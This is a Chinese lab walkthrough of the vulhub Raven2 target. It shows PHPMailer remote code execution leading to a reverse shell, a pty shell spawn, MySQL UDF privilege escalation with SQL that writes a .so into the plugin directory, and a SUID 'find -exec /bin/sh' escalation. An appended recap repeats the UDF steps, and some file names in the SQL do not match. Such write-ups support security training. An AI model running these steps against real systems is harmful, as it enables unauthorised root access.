Linux提权(mysql UDF提权)

靶机为vulhub靶场中的Raven2

攻击机kali2021(192.168.61.128)

靶机Raven2(192.168.61.148)

1:信息收集(masscan+nmap)

masscan扫描内网存活主机(快)

nmap扫描端口开放情况

发现开放了22,80,111端口,操作系统为Linux

访问靶机80端口 利用插件查看中间件和指纹版本(语言为PHP)

 目录扫描(dirb)发现靶机是wordpress建站(可以用wpscan扫描有没有wordpress漏洞)

此外还发现另外一个目录/vendor目录,访问目录发现存在目录遍历

翻看文件README.md文件得知为phpmailer,百度phpmailer知道是一个php发送邮件的程序,且版本小于5.2.18存在漏洞远程命令执行漏洞,查看当前version版本为5.2.16

这里我使用python脚本,复制脚本到桌面

编辑脚本

将target改为攻击目标记得加上/contact,否则无法反弹会话回来,backdoor为生成的后门文件,payload改为kali的ip和监听的端口,email那把路径改为目标机的网站根路径,可以在/vendor中查找到网站根目录(msf上也有脚本,但是我用的时候不能直接弹回会话)

然后直接python执行

这样就执行成功了,只需要访问后门地址就可以弹回shell

 执行whoami发现为www-date权限

使用python执行交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

udf提权

使用蚁剑上传LinEnum.sh脚本进行提权信息收集

上传到tmp目录下 

运行脚本发现有mysql数据库,且无法直接使用SUID提权

查找数据库配置文件(/var/www/html/wordpress/wp-config.php)

账号root,密码R3v3nSecurity

使用蚁剑登录mysql数据库,进行mysql udf提权

kali上搜索Linux udf提权脚本

将脚本文件在本地进行编译后上传到靶机的/tmp目录下

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o

将1518.so文件通过蚁剑上传到靶机/tmp目录下

 进入数据库进行udf提权

use mysql; #进入数据库

create table foo(line blob); #创建数据表

foo insert into foo values(load_file('/tmp/icepeak.so')); #插入数据

select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so'; #( Foo表成功插入二进制数据, 然后利用dumpfile函数把文件导出 outfile 多行导出,dumpfile一行导出 outfile会有特殊的转换,而dumpfile是原数据导出 新建存储函数)

create function do_system returns integer soname 'icepeak.so'; #(创建自定义函数do_system 类型是integer,别名 soname文件名字然后查询函数是否创建成功)

select * from mysql.func;

使用 find / -user root -perm -4000 -print 2>/dev/null查看SUID提权

touch lsec(自定义名称)

find lsec -exec "whoami" \;
find lsec -exec "/bin/sh" \;

查看最终flag

                                

 

 

 

 

 

Linux中,通过使用UDF(用户定义函数)来提权是可能的。UDF是一种在MySQL中执行特定功能的自定义函数。为了在Linux中使用UDF提权,你需要执行以下步骤: 1. 首先,创建一个函数库文件(.so文件),并将其加载到MySQL中。可以使用以下命令创建函数库文件: ``` create function do_system returns integer soname 'udf.so'; ``` 这个命令会创建一个名为do_system的函数,该函数将执行系统命令。 2. 接下来,将函数库文件导入到MySQL的插件目录中。可以使用以下命令将文件导入到指定目录: ``` select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so'; ``` 这个命令将函数库文件导入到/usr/lib/mysql/plugin/目录中,这是MySQL插件的默认位置。 3. 在完成上述步骤后,你需要确保MySQL安全设置允许UDF提权。可以通过执行以下命令来检查相关的MySQL变量: ``` show global variables like '%secure_file_priv%'; show variables like '%secure%'; ``` 你需要确保secure_file_priv变量没有设置为NULL,或者设置为函数库文件所在的目录。如果secure_file_priv的值为NULL,则导入和导出操作将被限制,无法进行提权。如果secure_file_priv的值为/tmp/,则导入和导出操作将被限制为/tmp/目录。只有当secure_file_priv的值没有具体值时,才可以进行提权操作。 4. 最后,使用以下命令查看插件的位置: ``` show variables like '%plugin%'; ``` 确保函数库文件被正确地导入到插件目录中。 通过执行以上步骤,你可以在Linux中使用UDF来实现提权。请注意,UDF提权可能存在安全风险,请谨慎操作,并确保只在必要时使用。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值